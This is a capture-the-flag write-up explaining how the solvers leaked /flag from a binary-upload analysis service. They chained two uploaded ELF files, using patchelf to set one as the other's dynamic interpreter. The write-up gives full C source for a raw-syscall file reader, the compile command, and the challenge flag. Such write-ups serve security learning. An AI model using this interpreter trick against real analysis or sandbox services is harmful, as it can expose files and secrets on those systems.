I wanted to build an intro rev challenge but it didn’t work as intended when I deployed it to my Rocky 9 server. Maybe you can work around the issue and leak the flag in /flag

Category: misc

Solver: rgw, aes

Flag: GPNCTF{D1d_y0u_st4rt_4_vm_0r_4_b4r3_m3t4l_r0cky_k3rn3l?}

Writeup

The setup is similar to “A full solve is what I’m thinking of”. However, there is no /catflag binary. Therefore, we don’t have a binary that we can use as the interpreter for an uploaded ELF binary.

However, we notice that uploading the binary and requesting the frequency analysis are two different steps. Since we can request the report multiple times without re-uploading the binary, we infer that the binaries are persisted in the system. Also, the upload path is displayed in the frequency output:

Screenshot of the analysis output containing the binary path

The idea is therefore to upload two binaries:

  1. We first upload the interpreter binary, that when executed, outputs the contents of /flag
  2. We then get the file path of the binary (e.g. executables/interpreter_1462766232), run patchelf --set-binary executables/interpreter_1462766232 <other binary> and upload this binary. This will run our first binary, printing the flag.

We can test this setup locally by running ldd on the second binary.

The glibc dynamic linker imposes several requirements on interpreter binaries. Of course, they need to be statically compiled. There seemed to be other requirements as well and compiling random C code with -static does not work. One other requirement could be that if the interpreter and the binary have overlapping segments, the process will segfault [1].

In the end, we ended up simply asking ChatGPT for source code and compile commands. The following output ended up working:

#include <asm/unistd.h>

#define SYS_OPEN 2
#define SYS_READ 0
#define SYS_WRITE 1
#define SYS_CLOSE 3
#define SYS_EXIT 60

#define O_RDONLY 0

long syscall(long n,
             long a1, long a2, long a3, long a4, long a5, long a6);

void _start() {
    // Open the file /flag
    long fd = syscall(SYS_OPEN, (long) "/flag", O_RDONLY, 0, 0, 0, 0);

    // Check if the file descriptor is valid
    if (fd < 0) {
        syscall(SYS_EXIT, 1, 0, 0, 0, 0, 0); // Exit if the file couldn't be opened
    }

    // Buffer to hold the file contents
    char buffer[128];

    // Read the file contents
    long bytes_read = syscall(SYS_READ, fd, (long) buffer, sizeof(buffer), 0, 0, 0);

    // Write the file contents to stdout
    if (bytes_read > 0) {
        syscall(SYS_WRITE, 1, (long) buffer, bytes_read, 0, 0, 0);
    }

    // Close the file
    syscall(SYS_CLOSE, fd, 0, 0, 0, 0, 0);

    // Exit the program
    syscall(SYS_EXIT, 0, 0, 0, 0, 0, 0);
}

long syscall(long n, long a1, long a2, long a3, long a4, long a5, long a6) {
  asm volatile ("movq %4, %%r10;"
                                "movq %5, %%r8;"
                                "movq %6, %%r9;"
                                "syscall;"

                : "=a"(n)
                : "a"(n), "D"(a1), "S"(a2), "d"(a3),
                  "r"(a4), "r"(a5), "r"(a6)
                : "%r10", "%r8", "%r9");
  return n;
}

The interpreter needs to be built in the following way:

gcc -nostartfiles -fno-stack-protector -nostdlib interpreter.c -o interpreter

After uploading both binaries, we get the following analysis image:

Screenshot of the analysis image containing the flag

We read off the flag GPNCTF{D1d_y0u_st4rt_4_vm_0r_4_b4r3_m3t4l_r0cky_k3rn3l?}.

References

  1. https://unix.stackexchange.com/questions/671908/custom-pt-interp-interpreter-results-in-segmentation-fault